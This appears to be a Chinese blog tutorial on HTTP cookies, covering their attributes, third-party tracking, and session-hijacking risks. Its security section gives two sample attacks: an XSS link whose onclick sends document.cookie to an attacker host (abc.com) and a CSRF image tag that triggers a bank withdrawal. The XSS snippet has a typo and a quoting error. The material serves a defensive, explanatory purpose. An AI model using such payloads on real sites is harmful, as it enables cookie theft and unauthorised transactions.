前言 網路早期最大的問題之一是如何管理狀態。簡而言之,伺服器無法知道兩個請求是否來自同一個瀏覽器。當時最簡單的方法是在請求時,在頁面中插入一些參數,併在下一個請求中傳回參數。這需要使用包含參數的隱藏的表單,或者作為URL參數的一部分傳遞。這兩個解決方案都手動操作,容易出錯。 網景公司當時一名員工Lo ...
前言
網路早期最大的問題之一是如何管理狀態。簡而言之,伺服器無法知道兩個請求是否來自同一個瀏覽器。當時最簡單的方法是在請求時,在頁面中插入一些參數,併在下一個請求中傳回參數。這需要使用包含參數的隱藏的表單,或者作為URL參數的一部分傳遞。這兩個解決方案都手動操作,容易出錯。
網景公司當時一名員工Lou Montulli,在1994年將“cookies”的概念應用於網路通信,用來解決用戶網上購物的購物車歷史記錄,目前所有瀏覽器都支持cookies。
cookie是什麼
cookie翻譯過來是“餅干,甜品”的意思,cookie在網路應用中到處存在,當我們瀏覽之前訪問過的網站,網頁中可能會顯示:你好,王三少,這就會讓我們感覺很親切,像吃了一塊很甜的餅干一樣。
由於http是無狀態的協議,一旦客戶端和伺服器的數據交換完畢,就會斷開連接,再次請求,會重新連接,這就說明伺服器單從網路連接上是沒有辦法知道用戶身份的。怎麼辦呢?那就給每次新的用戶請求時,給它頒發一個身份證(獨一無二)吧,下次訪問,必須帶上身份證,這樣伺服器就會知道是誰來訪問了,針對不同用戶,做出不同的響應。,這就是Cookie的原理。
其實cookie是一個很小的文本文件,是瀏覽器儲存在用戶的機器上的。Cookie是純文本,沒有可執行代碼。儲存一些伺服器需要的信息,每次請求站點,會發送相應的cookie,這些cookie可以用來辨別用戶身份信息等作用。
如圖所示,用戶首次訪問伺服器,伺服器會返回一個獨一無二的識別碼;id=23451,這樣伺服器可以用這個碼跟蹤記錄用戶的信息,(購物歷史,地址信息等)。
cookie可以包含任意的信息,不僅僅是id,客戶端會記錄伺服器返回來的Set-Cookie首部中的cookie內容。並將cookie存儲在瀏覽器的cookie資料庫中,當用戶訪問同一站點時,瀏覽器就會挑選當時該站點頒發的id=XXX的身份證(cookie),併在Cookie請求首部發送過去。
cookie的類型
可以按照過期時間分為兩類:會話cookie和持久cookie。會話cookie是一種臨時cookie,用戶退出瀏覽器,會話Cookie就會被刪除了,持久cookie則會儲存在硬碟里,保留時間更長,關閉瀏覽器,重啟電腦,它依然存在,通常是持久性的cookie會維護某一個用戶周期性訪問伺服器的配置文件或者登錄信息。
持久cookie 設置一個特定的過期時間(Expires)或者有效期(Max-Age)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2019 07:28:00 GMT;
cookie的屬性
cookie的域
產生Cookie的伺服器可以向set-Cookie響應首部添加一個Domain屬性來控制哪些站點可以看到那個cookie,例如下麵:
Set-Cookie: name="wang"; domain="m.zhuanzhuan.58.com"
如果用戶訪問的是m.zhuanzhuan.58.com那就會發送cookie: name="wang", 如果用戶訪問www.aaa.com(非zhuanzhuan.58.com)就不會發送這個Cookie。
cookie的路徑 Path
Path屬性可以為伺服器特定文檔指定Cookie,這個屬性設置的url且帶有這個首碼的url路徑都是有效的。
例如:m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/這兩個url。 m.zhuanzhuan.58.com 設置cookie
Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";
m.zhaunzhuan.58.com/user/ 設置cookie:
Set-cookie:user="wang", domain="m.zhuanzhuan.58.com"; path=/user/
但是訪問其他路徑m.zhuanzhuan.58.com/other/就會獲得
cookie: id="123432"
如果訪問m.zhuanzhuan.58.com/user/就會獲得
cookie: id="123432"
cookie: user="wang"
secure
設置了屬性secure,cookie只有在https協議加密情況下才會發送給服務端。但是這並不是最安全的,由於其固有的不安全性,敏感信息也是不應該通過cookie傳輸的.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
chrome 52和firefox 52 開始不安全的(HTTP)是無法使用secure的:
操作Cookie
通過docuemnt.cookie可以設置和獲取Cookie的值
document.cookie = "user=wang";
console.log(document.cookie);
禁止javascript操作cookie(為避免跨域腳本(xss)攻擊,通過javascript的document.cookie無法訪問帶有HttpOnly標記的cookie。)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2017 07:28:00 GMT; Secure; HttpOnly
第三方cookie
通常cookie的域和瀏覽器地址的域匹配,這被稱為第一方cookie。那麼第三方cookie就是cookie的域和地址欄中的域不匹配,這種cookie通常被用在第三方廣告網站。為了跟蹤用戶的瀏覽記錄,並且根據收集的用戶的瀏覽習慣,給用戶推送相關的廣告。
如上圖(a):用戶訪問伺服器1的一個頁面index.html,這個頁面和第三方廣告網站合作,這個頁面還有一張www.advertisement.com功能變數名稱下的一張廣告圖ad1.jpg,當請求這張ad1.jpg圖片的時候,www.advertisement.com這個伺服器會給用戶設置cookie
Set-Cookie: user="wang";like="a"; domain="advertisement.com"
記錄用戶的瀏覽記錄,分配一個user來表示用戶的身份。
圖(b):用戶訪問伺服器2的一個index.html頁面,這個頁面也和同一家廣告商合作,這個頁面也包含一張www.advertisement.com功能變數名稱下的一張廣告圖ad2.jpg,當請求這張ad2.jpg圖片的時候,瀏覽器就會向www.advertisement.com發送cookie
Cookie: user="wang"; like="a";
www.advertisement.com收到瀏覽器發送的cookie識別了用戶的身份,同時又把這個頁面用戶的瀏覽數據設置cookie
Set-Cookie: buy="b"; domain="advertisement.com"
圖(c):很巧,用戶訪問伺服器3的一個index.html頁面,這個頁面也和那一家廣告商合作,這個頁面也包含一張www.advertisement.com功能變數名稱下的一張廣告圖ad3.jpg,當請求這張ad3.jpg圖片的時候,瀏覽器就會向www.advertisement.com發送cookie
Cookie: user="wang"; like="a"; buy="b"
這樣廣告公司就可以根據用戶的瀏覽習慣,給用戶推送合適的廣告。
安全
多數網站使用cookie作為用戶會話的唯一標識,因為其他的方法具有限制和漏洞。如果一個網站使用cookies作為會話標識符,攻擊者可以通過竊取一套用戶的cookies來冒充用戶的請求。從伺服器的角度,它是沒法分辨用戶和攻擊者的,因為用戶和攻擊者擁有相同的身份驗證。 下麵介紹幾種cookie盜用和會話劫持的例子:
網路竊聽
網路上的流量可以被網路上任何電腦攔截,特別是未加密的開放式WIFI。這種流量包含在普通的未加密的HTTP清求上發送Cookie。在未加密的情況下,攻擊者可以讀取網路上的其他用戶的信息,包含HTTP Cookie的全部內容,以便進行中間的攻擊。比如:攔截cookie來冒充用戶身份執行惡意任務(銀行轉賬等)。
解決辦法:伺服器可以設置secure屬性的cookie,這樣就只能通過https的方式來發送cookies了。
DNS緩存中毒
如果攻擊者可以使DNS緩存中毒,那麼攻擊者就可以訪問用戶的Cookie了,例如:攻擊者使用DNS中毒來創建一個虛擬的NDS服務h123456.www.demo.com指向攻擊者伺服器的ip地址。然後攻擊者可以從伺服器 h123456.www.demo.com/img_01.png 發佈圖片。用戶訪問這個圖片,由於 www.demo.com和h123456.www.demo.com是同一個子域,所以瀏覽器會把用戶的與www.demo.com相關的cookie都會發送到h123456.www.demo.com這個伺服器上,這樣攻擊者就會拿到用戶的cookie搞事情。
一般情況下是不會發生這種情況,通常是網路供應商錯誤。
跨站點腳本XSS
使用跨站點腳本技術可以竊取cookie。當網站允許使用javascript操作cookie的時候,就會發生攻擊者發佈惡意代碼攻擊用戶的會話,同時可以拿到用戶的cookie信息。
例子:
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>領取紅包</a>
當用戶點擊這個鏈接的時候,瀏覽器就會執行onclick裡面的代碼,結果這個網站用戶的cookie信息就會被髮送到abc.com攻擊者的伺服器。攻擊者同樣可以拿cookie搞事情。
解決辦法:可以通過cookie的HttpOnly屬性,設置了HttpOnly屬性,javascript代碼將不能操作cookie。
跨站請求偽造CSRF
例如,SanShao可能正在瀏覽其他用戶XiaoMing發佈消息的聊天論壇。假設XiaoMing製作了一個引用ShanShao銀行網站的HTML圖像元素,例如,
<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
如果SanShao的銀行將其認證信息保存在cookie中,並且cookie尚未過期,(當然是沒有其他驗證身份的東西),那麼SanShao的瀏覽器嘗試載入該圖片將使用他的cookie提交提款表單,從而在未經SanShao批准的情況下授權交易。
解決辦法:增加其他信息的校驗(手機驗證碼,或者其他盾牌)。
如果你喜歡我們的文章,關註我們的公眾號和我們互動吧。